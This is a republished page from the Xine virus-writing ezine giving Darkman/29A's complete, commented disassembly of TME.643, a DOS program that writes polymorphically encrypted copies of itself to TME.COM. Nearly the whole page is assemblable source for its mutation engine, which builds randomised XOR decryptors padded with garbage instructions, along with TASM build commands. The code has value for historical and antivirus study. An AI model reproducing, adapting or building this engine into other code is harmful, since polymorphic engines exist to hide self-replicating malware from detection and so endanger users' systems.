Copy Link
Add to Bookmark
Report

Xine - issue #3 - Phile 308

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 
/-----------------------------\
| Xine - issue #3 - Phile 308 |
\-----------------------------/


comment *
TME.643
Disassembly by
Darkman/29A

TME.643 is a 643 bytes generator. Generates a new copy of itself, when
executed. TME.643 is polymorphic in file using its internal polymorphic
engine.

Garbage instructions:
CMP reg,reg; TEST reg,reg
JA/JNBE imm8; JAE/JNC/JNB imm8; JB/JC/JNAE imm8; JBE/JNA imm8; JE/JZ imm8
JG/JNLE imm8; JGE/JNL imm8; JL/JNGE imm8; JLE/JNG imm8; JNE/JNZ imm8
JNO imm8; JNP/JPO imm8; JNS imm8; JO imm8; JP/JPE imm8; JS imm8
NOP; CLD; STD; STI; CMC; CLC; STC

Garbage registers:
AL; CL; DL; BL; AH; CH; DH; BH; AX; CX; DX; BX; (SP); BP; SI; DI

TME decryptor:
One to four garbage instruction(s).
MOV reg16,DS (Unable to use SP as reg16)
One to four garbage instruction(s).
MOV DS,reg16 (Unable to use SP as reg16)
One to eight garbage instruction(s).
One to four garbage instruction(s).
MOV reg16,imm16 (Decryption key; Length of encrypted code; Offset of e...)
One to two garbage instruction(s).
One to eight garbage instruction(s).
XOR [SI+imm8],reg16; XOR [DI+imm8],reg16; XOR [BX+SI+imm8],reg16; XOR [BX...
One to four garbage instruction(s).
INC reg8 (Increase high byte of decryption key)
One to four garbage instruction(s).
INC reg16 (Increase count register)
One to four garbage instruction(s).
DEC reg8 (Decrease low byte of decryption key)
One to two garbage instruction(s).
LOOP imm8 (Garbage generation above decryption opcode)
One to four garbage instruction(s).

Min. decryptor size: 36 bytes.
Max. decryptor size: 134 bytes.

I would like to thank my girlfriend for pushing me to finish this
disassembly.

To compile TME.643 with Turbo Assembler v 4.0 type:
TASM /M TME.ASM
TLINK /t /x TME.OBJ
*

.model tiny
.code
org 100h ; Origin of TME.643

code_begin:
call delta_offset
delta_offset:
pop si ; Load SI from stack
sub si,offset delta_offset

mov di,100h ; DI = offset of beginning of code
add si,di ; SI = " " " " "
mov cx,(code_end-code_begin)
lea bx,open_file ; BX = offset of open_file
cld ; Clear direction flag

jmp move_tme_gen
open_file:
mov [decrypt_off],100h ; Store decryptor's offset

lea dx,filename ; DX = offset of filename
mov ax,3d02h ; Open file (read/write)
int 21h
xchg ax,bx ; BX = file handle

mov ah,40h ; Write to file
xor cx,cx ; CX = number of bytes to write
int 21h

mov cx,(code_end-code_begin)
call tme_poly

mov ah,3eh ; Close file
int 21h

int 20h ; Terminate program!

int21_simula proc near ; Simulate interrupt 21h
int 21h

ret ; Return!
endp

set_pos_eof proc near ; Set current file position (EOF)
mov ax,4202h ; " " " " "
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
int 21h

ret ; Return!
endp

filename db 'TME.COM',00h ; Filename

tme_poly proc near ; TME.643 (polymorphic engine)
push bx cx ; Save registers at stack

lea di,random_table ; DI = offset of random_table

xor ax,ax ; Get system time
int 1ah

xchg ax,dx ; AX = 16-bit random number
mov cx,(random_end-random_begin)/02h
mov bx,ax ; BX = 16-bit random number
gen_tbl_loop:
rcr ax,01h ; AX = " " "
jnc sto_rnd_num ; No carry? Jump to sto_rnd_num

db 31h,0d8h ; XOR AX,BX
sto_rnd_num:
stosw ; Store 16-bit random number

loop gen_tbl_loop

lea si,random_table ; SI = offset of random_table
mov cx,(random_end-random_begin)/02h
sto_rnd_loop:
in al,40h ; AL = 8-bit random number
xor [si],al ; Store 8-bit random number
inc si ; Increase index register
loop sto_rnd_loop

lea di,reg16_table ; DI = offset of reg16_table
mov cx,06h ; Store twelve bytes

xor ax,ax ; Zero AX
stosw ; Store zero

pop ax ; Load AX from stack (CX)
stosw ; Store length of plain code

xor ax,ax ; Zero AX
rep stosw ; Store zero

lea di,destination ; DI = offset of destination
lea si,random_table ; SI = offset of random_table
xor cx,cx ; Zero CX

mov ah,03h ; Generate one to four garbage ins...
call gen_garbage
dont_use_sp:
lodsb ; AL = 8-bit random number
and ax,0000000000000111b
cmp al,00000100b ; Stack pointer?
je dont_use_sp ; Equal? Jump to dont_use_sp

xchg al,ah ; AH = random 16-bit register
add ax,1101100010001100b
stosw ; Store MOV reg16,DS

push ax ; Save AX at stack
mov ah,03h ; Generate one to four garbage ins...
call gen_garbage
pop ax ; Load AX from stack

add al,00000010b ; MOV DS,reg16
stosw ; Store MOV DS,reg16

mov ah,07h ; Generate one to eight garbage in...
call gen_garbage

lodsb ; AL = 8-bit random number
and ax,0000000000000111b
mov [address_mode],al ; Store registers used in decrypt...

push si ; Save DI at stack
mov si,ax ; SI = random number within seven
shl si,01h ; Multiply random number by two
add si,offset mode_table

jmp [si]
mode_si:
pop si ; Load SI from stack

mov ax,[decrypt_off] ; AX = decryptor's offset
add [si_],ax ; Store decryptor's offset
or cl,00000110b ; Source index is index register

jmp get_key_reg
mode_di:
pop si ; Load SI from stack

mov ax,[decrypt_off] ; AX = decryptor's offset
add [di_],ax ; Store decryptor's offset
or cl,00000111b ; Destination index is index register

jmp get_key_reg
mode_bx_si:
pop si ; Load SI from stack

mov ax,[decrypt_off] ; AX = decryptor's offset
mov [si_],ax ; Store decryptor's offset
mov ax,[si-01h] ; AX = 16-bit random number
sub [si_],ax ; Store 16-bit random number
add [bx_],ax ; " " " "
or cl,00000011b ; Base register is index register

jmp get_key_reg
mode_bx_di:
pop si ; Load SI from stack

mov ax,[decrypt_off] ; AX = decryptor's offset
mov [di_],ax ; Store decryptor's offset
mov ax,[si] ; AX = 16-bit random number
sub [bx_],ax ; Store 16-bit random number
add [di_],ax ; " " " "
or cl,00000111b ; Destination index is index register

jmp get_key_reg
mode_bp_si:
pop si ; Load SI from stack

mov [address_mode],02h ; Store registers used in decrypt...
mov ax,[decrypt_off] ; AX = decryptor's offset
mov [si_],ax ; Store decryptor's offset
mov ax,[si+03h] ; AX = 16-bit random number
sub [bp_],ax ; Store 16-bit random number
add [si_],ax ; " " " "
or cl,00000101b ; Base pointer as index register

jmp get_key_reg
mode_bp_di:
pop si ; Load SI from stack

mov [address_mode],03h ; Store registers used in decrypt...
mov ax,[decrypt_off] ; AX = decryptor's offset
mov [bp_],ax ; Store decryptor's offset
mov ax,[si-01h] ; AX = 16-bit random number
sub [bp_],ax ; Store 16-bit random number
add [di_],ax ; " " " "
or cl,00000111b ; Destination index is index register
get_key_reg:
mov ah,03h ; Generate one to four garbage ins...
call gen_garbage
get_key_reg_:
dec si ; Decrease SI
lodsw ; AX = 16-bit random number
and ax,0000000000000011b

mov bx,ax ; BX = register holding decryption...
shl bx,01h ; Multiply register holding decryp...
cmp word ptr [bx+reg16_table],00h
jnz get_key_reg_ ; Register already in use? Jump to...

push ax ; Save AX at stack
dec si ; Decrease index register
lodsw ; AX = 16-bit random number
mov word ptr [bx+reg16_table],ax

mov bp,si ; BP = offset within table of rand...
lea si,reg16_table ; SI = offset of reg16_table
push cx ; Save CX at stack
mov cx,08h ; Examine all 16-bit registers

mov bx,0000000010111000b
examine_loop:
lodsw ; AX = 16-bit immediate
or ax,ax ; Register in use?
jz dont_gen_mov ; Zero? Jump to dont_gen_mov

mov [di],bl ; Store MOV reg16,imm16

push bx ; Save BX at stack
sub bx,0000000010111000b
shl bx,01h ; Multiply register number by two
mov word ptr [bx+reg16_table_],01h
pop bx ; Load BX from stack

inc di ; Increase DI

stosw ; Store 16-bit immediate
dont_gen_mov:
push si ; Save SI at stack
mov si,bp ; SI = offset within table of rand...
inc bx ; BX = offset of next register wit...

mov ah,01h ; Generate one to two garbage inst...
call gen_garbage

mov bp,si ; BP = offset within table of rand...
pop si ; Load SI from stack

loop examine_loop

mov si,bp ; SI = offset within table of rand...

pop cx ax ; Load registers from stack
push di ax ; Save registers at stack

mov ah,07h ; Generate one to eight garbage in...
call gen_garbage

mov al,00110001b ; XOR [(reg16+)reg16+imm8],reg16
stosb ; Store XOR [(reg16+)reg16+imm8],r...

mov bl,[address_mode] ; BL = address mode number
or bl,01000000b ; XOR [(reg16+)reg16+imm8],reg16

pop ax ; Load AX from stack
push ax ; Save AX at stack

shl ax,01h ; Shift register holding decryptio...
shl ax,01h ; " " " "
shl ax,01h ; " " " "
db 00h,0d8h ; ADD AL,BL
stosb ; Store XOR [(reg16+)reg16+imm8],r...
mov word ptr [decrypt_off_],di

stosb ; Store temporary decryption key

mov ah,03h ; Generate one to four garbage ins...
call gen_garbage

pop ax ; Load AX from stack
push ax ; Save AX at stack

xchg al,ah ; AH = register holding decryption...
add ax,1100000011111110b
push ax ; Save AX at stack
stosw ; Store INC reg8

mov ah,03h ; Generate one to four garbage ins...
call gen_garbage

xchg ax,cx ; AX = index register
add al,01000000b ; INC reg16
stosb ; Store INC reg16

mov ah,03h ; Generate one to four garbage ins...
call gen_garbage

pop ax ; Load AX from stack
or ah,00001100b ; DEC reg8
stosw ; Store DEC reg8

mov ah,01h ; Generate one to two garbage inst...
call gen_garbage

mov al,11100010b ; LOOP imm8 (opcode 0e2h)
stosb ; Store LOOP imm8

mov ax,di ; AX = offset of LOOP imm8
pop dx bx ; Load registers from stack
push dx ; Save DS at stack

db 29h,0d8h ; SUB AX,BX
not al ; AL = 8-bit immediate
stosb ; Store 8-bit immediate

mov ah,03h ; Generate one to four garbage ins...
call gen_garbage

lea si,code_begin ; SI = offset of code_begin
mov cx,(code_end-code_begin)
push di cx ; Save registers at stack
rep movsb ; Move plain code above decryptor
pop cx si bx ; Load registers from stack

push si ; Save SI at stack
shl bx,01h ; Multiply register holding decryp...
mov ax,word ptr [bx+reg16_table]
encrypt_loop:
xor [si],ax ; Encrypt byte of plain code
inc al ; Increase high-order byte of encr...
dec ah ; Decrease low-order byte of encry...

inc si ; Increase index register

loop encrypt_loop

mov si,word ptr [decrypt_off_]
pop ax ; Load AX from stack
sub ax,offset destination
mov [si],al ; Store 8-bit immediate
xchg ax,cx ; CX = length of decryptor
add cx,(code_end-code_begin)

pop bx ; Load BX from stack

mov ah,40h ; Write to file
lea dx,destination ; DX = offset of destination
call int21_simula

call set_pos_eof

ret ; Return!

gen_garbage proc near ; Generate random number of garbag...
push ax cx ; Save registers at stack
xor cx,cx ; Zero CX

lodsb ; AL = 8-bit random number
and al,ah ; AL = random number within range
inc al ; Increase random number within range
db 88h,0c1h ; MOV CL,AL
garbage_loop:
lodsb ; AL = 8-bit random number
push si ; Save SI at stack

test al,00000001b ; Generate one byte opcode?
jz gen_one_byte ; Zero? Jump to gen_one_byte

lodsb ; AL = 8-bit random number
test al,00000001b ; Generate jump on condition?
jz gen_jump_con ; Zero? Jump to gen_jump_con

lea si,two_bytes ; SI = offset of two_bytes
and ax,0000000000000011b
shl ax,01h ; Multiply random number by two
db 01h,0c6h ; ADD SI,AX
movsb ; Move CMP/TEST reg,reg

pop si ; Load SI from stack
lodsb ; AL = 8-bit random number

or al,11000000b ; Generate CMP/TEST reg,reg
stosb ; Store CMP/TEST reg,reg

jmp next_garbage
gen_jump_con:
pop si ; Load SI from stack

and ax,0000000000000111b
add al,01110000b ; Generate jump on condition
stosb ; Store jump on condition

xor al,al ; Zero AL
stosb ; Store 8-bit immediate

jmp next_garbage
gen_one_byte:
lea si,one_bytes ; SI = offset of one_bytes
and ax,0000000000000111b
db 01h,0c6h ; ADD SI,AX
movsb ; Move NOP/CLD/STD/STI/CMC/CLC/STC

pop si ; Load SI from stack
next_garbage:
loop garbage_loop

pop cx ax ; Load registers from stack

ret ; Return!
endp

mode_table dw mode_bx_si ; Offset of mode_bx_si
dw mode_bx_di ; Offset of mode_bx_di
dw mode_bp_si ; Offset of mode_bp_si
dw mode_bp_di ; Offset of mode_bp_di
dw mode_si ; Offset of mode_si
dw mode_di ; Offset of mode_di
dw mode_bp_si ; Offset of mode_bp_si
dw mode_bp_di ; Offset of mode_bp_di
one_bytes:
nop ; One byte opcode
cld ; " " "
std ; " " "
sti ; " " "
cmc ; " " "
clc ; " " "
stc ; " " "
two_bytes:
cmp ax,ax ; Two bytes opcodes
test ax,ax ; " " "
cmp al,al ; " " "
test al,al ; " " "
move_tme_gen:
rep movsb ; Move generator to beginning of code

jmp bx
endp
code_end:
decrypt_off dw ? ; Decryptor's offset
address_mode db ? ; Address mode number
decrypt_off_ db ? ; Offset of decryption key
random_begin:
random_table dw 28h dup(?) ; Table of random numbers
random_end:
reg16_table:
ax_ dw ? ; Accumulator register
cx_ dw ? ; Count register
dx_ dw ? ; Data register
bx_ dw ? ; Base register
sp_ dw ? ; Stack pointer
bp_ dw ? ; Base pointer
si_ dw ? ; Source index
di_ dw ? ; Destination index
reg16_table_ dw 08h dup(?) ; Table of 16-bit registers
db 309h dup(?)
destination:
data_end:

end code_begin

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT